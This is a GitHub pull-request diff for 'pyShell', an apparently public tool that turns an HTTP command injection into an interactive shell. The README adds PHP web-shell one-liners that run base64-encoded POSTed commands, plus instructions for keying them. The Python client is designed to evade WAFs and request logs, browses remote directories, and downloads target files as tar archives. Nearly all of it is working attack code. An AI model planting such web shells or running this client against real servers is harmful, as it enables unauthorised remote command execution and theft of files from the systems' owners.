Skip to content
This repository was archived by the owner on Apr 9, 2024. It is now read-only.
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
25 changes: 23 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -9,18 +9,39 @@ painful. The goal is to make it feel as much like an interactive shell as
possible. Commands are base-64 encoded to help deal with WAFs, and are submitted
as POST requests to be less visible in request logs.

Usage is `python3 pyshell.py URL` where URL points to a script which performs
Usage is `python3 pyshell.py URL [-k key]` where URL points to a script which performs
the command injection, something like this:

```
<?php $r=base64_decode($_POST['cmd']).' '.base64_decode($_POST['opts']); echo `$r` ?>
<?php $key = ''; if (isset($_POST[$key.'cmd'])) { $r=base64_decode($_POST[$key.'cmd']).' '.base64_decode($_POST['opts']); echo `$r`} ?>
```

The server-side script should accept the following parameters:
- `cmd`: the command to be run, base64 encoded
- `opts`: the options to provide to cmd, also base64 encoded
- `[timeout]`: optional, denotes the number of seconds to wait for a command

## Restricting access to the shell

To restrict access to the shell put a value in `$key` and pass the value to
pyShell with `-k`:

First generate a random key. On GNU/Linux to generate a 32 byte (256 bit) key you can do this:
```
% dd if=/dev/urandom bs=1 count=32 2>/dev/null | base64 -w 0 | rev | cut -b 2- | rev
G4ur5Mhxmb7ZsWt/h+OMDhzTDuLKEbrvmBlD0yoVslQ
```

Set `$key` to your random key:
```
<?php $key = 'G4ur5Mhxmb7ZsWt/h+OMDhzTDuLKEbrvmBlD0yoVslQ'; if (isset($_POST[$key.'cmd'])) { $r=base64_decode($_POST[$key.'cmd']).' '.base64_decode($_POST['opts']); echo `$r`} ?>
```

Pass the key variable to PyShell:
```
% python3 pyshell.py http://192.168.56.101 -k G4ur5Mhxmb7ZsWt/h+OMDhzTDuLKEbrvmBlD0yoVslQ
```

## USAGE DEMO:
![Screencast](pyshell-usage.gif)

Expand Down
35 changes: 24 additions & 11 deletions pyshell.py
Original file line number Diff line number Diff line change
@@ -1,3 +1,4 @@
import argparse
import atexit
import base64
import os
Expand All @@ -11,12 +12,18 @@
from threading import Thread
from time import strftime

if len(sys.argv) != 2:
print('\nUsage: python3 {} URL\n'.format(sys.argv[0]))
print('For example:\npython3 {} {}\n'.format(sys.argv[0], 'http://192.168.56.101/shell.php'))
exit(0)
else:
url = sys.argv[1]
parser = argparse.ArgumentParser(description='Shellify Your HTTP Command Injection!', epilog=('For example:\npython3 %s https://192.168.56.101/shell.php -k G4ur5Mhxmb7ZsWt/h+OMDhzTDuLKEbrvmBlD0yoVslQ' % sys.argv[0]))

#parser._action_groups.pop()
#required = parser.add_argument_group('required arguments')
#optional = parser.add_argument_group('optional arguments')

parser.add_argument('url', help='target URL')
parser.add_argument('-k', '--key', dest="key", help='shell access key')
args = parser.parse_args()

url = args.url
key = args.key

downloads_directory = "downloads"

Expand Down Expand Up @@ -84,7 +91,7 @@ def tabCompleterThread():

def populateTabComplete(path):
global tab_complete;
entries = makeRequest(20, 'bash', '-c "cd {} && ls -p"'.format(path)).split("\n")[:-1]
entries = makeRequest(20, 'bash', '-c "cd {} && ls -p"'.format(path), key).split("\n")[:-1]
if entries:
tab_complete[path] = entries

Expand All @@ -96,6 +103,7 @@ def populateTabComplete(path):
def run():
global timeout
global url
global key
global current_path
q.put('/')
while True:
Expand Down Expand Up @@ -123,7 +131,7 @@ def run():
continue
if parts[0] == 'get':
path_to_download = os.path.abspath(os.path.join(current_path, parts[1])).strip()
tgz = makeRequest(timeout, 'tar', 'cz {}'.format(path_to_download), noDecode=True)
tgz = makeRequest(timeout, 'tar', 'cz {}'.format(path_to_download), key, noDecode=True)
filename = path_to_download.replace('/', '_')+'.'+strftime("%Y%m%d%H%M%S")+'.tgz'
if not os.path.exists(downloads_directory):
os.makedirs(downloads_directory)
Expand All @@ -140,13 +148,18 @@ def run():
cmd = 'bash'
opts = '-c "cd {} 2>&1 && {} 2>&1"'.format(current_path, inputstr.replace('"', '\\"'))

result = makeRequest(timeout, cmd, opts)
result = makeRequest(timeout, cmd, opts, key)
print("{}{}".format(bcolors.ENDC, result))

def makeRequest(timeout, cmd, opts, noDecode=False):
def makeRequest(timeout, cmd, opts, key, noDecode=False):
if key is None:
post_cmd = 'cmd'
else:
post_cmd = key+'cmd'

requestData = urllib.parse.urlencode({
'timeout': timeout,
'cmd': base64.b64encode(cmd.encode('ascii')).decode(),
post_cmd: base64.b64encode(cmd.encode('ascii')).decode(),
'opts': base64.b64encode(opts.encode('ascii')).decode()
}).encode('ascii')

Expand Down